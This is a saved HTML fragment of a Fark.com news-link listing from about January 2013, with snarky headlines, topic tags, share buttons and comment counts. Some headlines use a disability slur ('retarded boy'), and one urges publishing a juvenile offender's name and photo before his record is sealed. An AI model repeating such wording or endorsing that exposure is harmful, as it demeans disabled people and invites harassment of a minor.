+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553684/http://life.time.com/culture/war-on-drugs-1969-photos-from-u-s-customs-operation-intercept/" target="_blank">The War on Drugs, 1969. Holy shiat. Are those flails?</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553684" target="_blank">life.time.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553684&t=The%20War%20on%20Drugs%2C%201969.%20Holy%20shiat.%20Are%20those%20flails%3F" onclick="trackSocial('facebook','share','http://fark.com/go/7553684')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=The%20War%20on%20Drugs%2C%201969.%20Holy%20shiat.%20Are%20those%20flails%3F%20http%3A%2F%2Ffark.com%2Fgo%2F7553684&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553684/The-War-on-Drugs-1969-Holy-shiat-Are-those-flails" target="_top"> (93) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553344"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553344/http://www.mnn.com/food/healthy-eating/blogs/in-praise-of-clean-out-the-fridge-night" target="_blank"> <img [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/spiffy" title="Spiffy"><span class="ttag topic16"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553344/http://www.mnn.com/food/healthy-eating/blogs/in-praise-of-clean-out-the-fridge-night" target="_blank">"I love clean out the fridge night"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553344" target="_blank">mnn.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553344&t=%22I%20love%20clean%20out%20the%20fridge%20night%22" onclick="trackSocial('facebook','share','http://fark.com/go/7553344')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=%22I%20love%20clean%20out%20the%20fridge%20night%22%20http%3A%2F%2Ffark.com%2Fgo%2F7553344&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2Cfarksport%3AFar [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553344/I-love-clean-out-fridge-night" target="_top"> (55) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553725"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553725/http://www.kmov.com/news/local/Infant-pulled-from-wrecked-car-involved-in-short-police-pursuit-188181261.html" target="_blank"> [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/fail" title="Fail"><span class="ttag topic42"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553725/http://www.kmov.com/news/local/Infant-pulled-from-wrecked-car-involved-in-short-police-pursuit-188181261.html" target="_blank">Actual
+ headline: "Infant pulled from wrecked car involved in short police
+pursuit" No word on how far his short little legs took him before the
+police caught up with him</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553725" target="_blank">kmov.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553725&t=Actual%20headline%3A%20%22Infant%20pulled%20from%20wrecked%20car%20involved%20in%20short%20police%20pursuit%22%20No%20word%20on%20how%20far%20his%20short%20little%20legs%20took%20him%20before%20the%20police%20caught%20up%20with [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Actual%20headline%3A%20%22Infant%20pulled%20from%20wrecked%20car%20involved%20in%20short%20police%20pursuit%22%20No%20word%20on%20how%20far%20his%20shor...%20http%3A%2F%2Ffark.com%2Fgo%2F7553725&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553725/Actual-headline-Infant-pulled-from-wrecked-car-involved-in-short-police-pursuit-No-word-on-how-far-his-short-little-legs-took-him-before-police-caught-up-with-him" target="_top"> (13) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553263"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553 [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/sad" title="Sad"><span class="ttag topic05"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553263/http://www.reuters.com/article/2013/01/24/us-usa-crime-missouri-idUSBRE90N03220130124" target="_blank">"It was just like The Notebook, except with a knife"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553263" target="_blank">reuters.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553263&t=%22It%20was%20just%20like%20The%20Notebook%2C%20except%20with%20a%20knife%22" onclick="trackSocial('facebook','share','http://fark.com/go/7553263')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=%22It%20was%20just%20like%20The%20Notebook%2C%20except%20with%20a%20knife%22%20http%3A%2F%2Ffark.com%2Fgo%2F7553263&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553263/It-was-just-like-The-Notebook-except-with-a-knife" target="_top"> (9) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553657"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553657/http://wtkr.com/2013/01/23/two-men-accused-of-using-sledge-hammer-to-break-through-walls-of-businesses-in-newpo [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553657/http://wtkr.com/2013/01/23/two-men-accused-of-using-sledge-hammer-to-break-through-walls-of-businesses-in-newport-news/" target="_blank">Cue
+ Yakkity-Sax: Cunning thieves try to use sledgehammer to smash through
+walls in strip mall and rob pawn shop, hit water pipe instead</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553657" target="_blank">wtkr.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553657&t=Cue%20Yakkity-Sax%3A%20Cunning%20thieves%20try%20to%20use%20sledgehammer%20to%20smash%20through%20walls%20in%20strip%20mall%20and%20rob%20pawn%20shop%2C%20hit%20water%20pipe%20instead" onclick="trackSocial('facebook','share','h [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Cue%20Yakkity-Sax%3A%20Cunning%20thieves%20try%20to%20use%20sledgehammer%20to%20smash%20through%20walls%20in%20strip%20mall%20and%20rob%20pawn%20sho...%20http%3A%2F%2Ffark.com%2Fgo%2F7553657&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20New [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553657/Cue-Yakkity-Sax-Cunning-thieves-try-to-use-sledgehammer-to-smash-through-walls-in-strip-mall-rob-pawn-shop-hit-water-pipe-instead" target="_top"> (10) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553768"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553768/http://www.timesofisrael.com/ [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/ironic" title="Ironic"><span class="ttag topic20"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553768/http://www.timesofisrael.com/morsi-jewish-controlled-media-distorted-apes-and-pigs-remark/" target="_blank">MORSI: I'm not anti-semitic. The Jewish-controlled media just says I am</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553768" target="_blank">timesofisrael.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553768&t=MORSI%3A%20I%27m%20not%20anti-semitic.%20The%20Jewish-controlled%20media%20just%20says%20I%20am" onclick="trackSocial('facebook','share','http://fark.com/go/7553768')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=MORSI%3A%20I%27m%20not%20anti-semitic.%20The%20Jewish-controlled%20media%20just%20says%20I%20am%20http%3A%2F%2Ffark.com%2Fgo%2F7553768&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgee [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553768/MORSI-Im-not-anti-semitic-The-Jewish-controlled-media-just-says-I-am" target="_top"> (149) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7542501"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7542501/http://photos.streamphoto.ru/d/4/1/ce0d7abc49e395986f08b382e2ffb14d.jpg" target="_blank"> [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/photoshop" title="Photoshop"><span class="ttag topic23"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7542501/http://photos.streamphoto.ru/d/4/1/ce0d7abc49e395986f08b382e2ffb14d.jpg" target="_blank">Photoshop this man in the tunnels</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7542501" target="_blank">photos.streamphoto.ru</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2F7542501&t=Photoshop%20this%20man%20in%20the%20tunnels" onclick="trackSocial('facebook','share','http://fark.com/7542501')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Photoshop%20this%20man%20in%20the%20tunnels%20http%3A%2F%2Ffark.com%2F7542501&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2Cfarksport%3AFark.com%20Sport [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7542501/Photoshop-this-man-in-tunnels" target="_top"> (31) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553706"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553706/http://www.mlive.com/news/saginaw/index.ssf/2013/01/saginaw_student_who_pranked_cl.html" target="_blank"> <img alt="(MLive.com) [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553706/http://www.mlive.com/news/saginaw/index.ssf/2013/01/saginaw_student_who_pranked_cl.html" target="_blank">High
+ school kid who put semen in breath mints pleads guilty, but will have
+record sealed. Solution: publish his name and photo before that happens</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553706" target="_blank">mlive.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553706&t=High%20school%20kid%20who%20put%20semen%20in%20breath%20mints%20pleads%20guilty%2C%20but%20will%20have%20record%20sealed.%20Solution%3A%20publish%20his%20name%20and%20photo%20before%20that%20happens" onclick="trackSocial('face [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=High%20school%20kid%20who%20put%20semen%20in%20breath%20mints%20pleads%20guilty%2C%20but%20will%20have%20record%20sealed.%20Solution%3A%20publish%20hi...%20http%3A%2F%2Ffark.com%2Fgo%2F7553706&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20N [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553706/High-school-kid-who-put-semen-in-breath-mints-pleads-guilty-but-will-have-record-sealed-Solution-publish-his-name-photo-before-that-happens" target="_top"> (74) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553772"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553772/http://www.sun-senti [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/florida" title="Florida"><span class="ttag topic35"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553772/http://www.sun-sentinel.com/fl-lauderdale-homeless-puppets-20130122,0,15093.story" target="_blank">Thespian puppeteers have come to rescue the homeless</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553772" target="_blank">sun-sentinel.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553772&t=Thespian%20puppeteers%20have%20come%20to%20rescue%20the%20homeless" onclick="trackSocial('facebook','share','http://fark.com/go/7553772')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Thespian%20puppeteers%20have%20come%20to%20rescue%20the%20homeless%20http%3A%2F%2Ffark.com%2Fgo%2F7553772&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2C [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553772/Thespian-puppeteers-have-come-to-rescue-homeless" target="_top"> (17) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553491"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553491/http://www.huffingtonpost.com/2013/01/23/scott-maloney-tennessee-t_n_2535785.html" target="_blank"> <img cla [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/sappy" title="Sappy"><span class="ttag topic06"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553491/http://www.huffingtonpost.com/2013/01/23/scott-maloney-tennessee-t_n_2535785.html" target="_blank">High
+ school kids name classmate with Williams' syndrome homecoming king:
+"He's the star of this school." Damnit, who released the dust bomb in
+here?</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553491" target="_blank">huffingtonpost.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553491&t=High%20school%20kids%20name%20classmate%20with%20Williams%27%20syndrome%20homecoming%20king%3A%20%22He%27s%20the%20star%20of%20this%20school.%22%20Damnit%2C%20who%20released%20the%20dust%20bomb%20in%20here%3F" onclick [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=High%20school%20kids%20name%20classmate%20with%20Williams%27%20syndrome%20homecoming%20king%3A%20%22He%27s%20the%20star%20of%20this%20school.%22%20Damni...%20http%3A%2F%2Ffark.com%2Fgo%2F7553491&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553491/High-school-kids-name-classmate-with-Williams-syndrome-homecoming-king-Hes-star-of-this-school-Damnit-who-released-dust-bomb-in-here" target="_top"> (62) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553426"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553426/http://gma.yahoo.com/blogs/ [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/followup" title="Followup"><span class="ttag topic26"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553426/http://gma.yahoo.com/blogs/abc-blogs/twinkie-mini-pig-gets-official-exemption-coral-springs-041952425--abc-news-topstories.html" target="_blank">Coral Springs, FL relents and lets retarded boy keep his Twinkie</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553426" target="_blank">gma.yahoo.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553426&t=Coral%20Springs%2C%20FL%20relents%20and%20lets%20retarded%20boy%20keep%20his%20Twinkie" onclick="trackSocial('facebook','share','http://fark.com/go/7553426')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Coral%20Springs%2C%20FL%20relents%20and%20lets%20retarded%20boy%20keep%20his%20Twinkie%20http%3A%2F%2Ffark.com%2Fgo%2F7553426&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark. [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553426/Coral-Springs-FL-relents-lets-retarded-boy-keep-his-Twinkie" target="_top"> (38) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553154"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553154/http://www.michigancapitolconfidential.com/18200" target="_blank"> (Some Guy) </a> <div class [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/fail" title="Fail"><span class="ttag topic42"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553154/http://www.michigancapitolconfidential.com/18200" target="_blank">Remember
+ that Huffington Post article about how terrible charter schools are?
+Yeah, seems they got all the facts and figures wrong. Other than that
+the story was fine</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553154" target="_blank">michigancapitolconfidential.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553154&t=Remember%20that%20Huffington%20Post%20article%20about%20how%20terrible%20charter%20schools%20are%3F%20Yeah%2C%20seems%20they%20got%20all%20the%20facts%20and%20figures%20wrong.%20Other%20than%20that%20the% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Remember%20that%20Huffington%20Post%20article%20about%20how%20terrible%20charter%20schools%20are%3F%20Yeah%2C%20seems%20they%20got%20all%20the%20fac...%20http%3A%2F%2Ffark.com%2Fgo%2F7553154&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20New [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553154/Remember-that-Huffington-Post-article-about-how-terrible-charter-schools-are-Yeah-seems-they-got-all-facts-figures-wrong-Other-than-that-story-was-fine" target="_top"> (180) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7552978"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552978/http:// [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/dumbass" title="Dumbass"><span class="ttag topic34"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552978/http://news.yahoo.com/ohio-couple-admits-putting-kids-plastic-boxes-131131032.html" target="_blank">Finally, a James Taylor box set that doesn't include music</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552978" target="_blank">news.yahoo.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7552978&t=Finally%2C%20a%20James%20Taylor%20box%20set%20that%20doesn%27t%20include%20music" onclick="trackSocial('facebook','share','http://fark.com/go/7552978')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Finally%2C%20a%20James%20Taylor%20box%20set%20that%20doesn%27t%20include%20music%20http%3A%2F%2Ffark.com%2Fgo%2F7552978&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7552978/Finally-a-James-Taylor-box-set-that-doesnt-include-music" target="_top"> (50) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553096"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553096/http://www.cbc.ca/news/politics/story/2013/01/23/attawapiskat-spence-hunger-strike.html" target="_blan [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/obvious" title="Obvious"><span class="ttag topic15"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553096/http://www.cbc.ca/news/politics/story/2013/01/23/attawapiskat-spence-hunger-strike.html" target="_blank">Chief Theresa Spence to end hunger strike, with photo that says maybe the strike never started</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553096" target="_blank">cbc.ca</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553096&t=Chief%20Theresa%20Spence%20to%20end%20hunger%20strike%2C%20with%20photo%20that%20says%20maybe%20the%20strike%20never%20started" onclick="trackSocial('facebook','share','http://fark.com/go/7553096')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Chief%20Theresa%20Spence%20to%20end%20hunger%20strike%2C%20with%20photo%20that%20says%20maybe%20the%20strike%20never%20started%20http%3A%2F%2Ffark.com%2Fgo%2F7553096&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553096/Chief-Theresa-Spence-to-end-hunger-strike-with-photo-that-says-maybe-strike-never-started" target="_top"> (159) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553040"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553040/http://blogs.smithsonianmag.com/smartnews/2013/01/bag-full-of-otters- [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/weird" title="Weird"><span class="ttag topic17"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553040/http://blogs.smithsonianmag.com/smartnews/2013/01/bag-full-of-otters-recovered-at-thai-airport/" target="_blank">Bag full of otters recovered at Thai airport. In other news, submitter has his new band name</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553040" target="_blank">blogs.smithsonianmag.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553040&t=Bag%20full%20of%20otters%20recovered%20at%20Thai%20airport.%20In%20other%20news%2C%20submitter%20has%20his%20new%20band%20name" onclick="trackSocial('facebook','share','http://fark.com/go/7553040')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Bag%20full%20of%20otters%20recovered%20at%20Thai%20airport.%20In%20other%20news%2C%20submitter%20has%20his%20new%20band%20name%20http%3A%2F%2Ffark.com%2Fgo%2F7553040&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
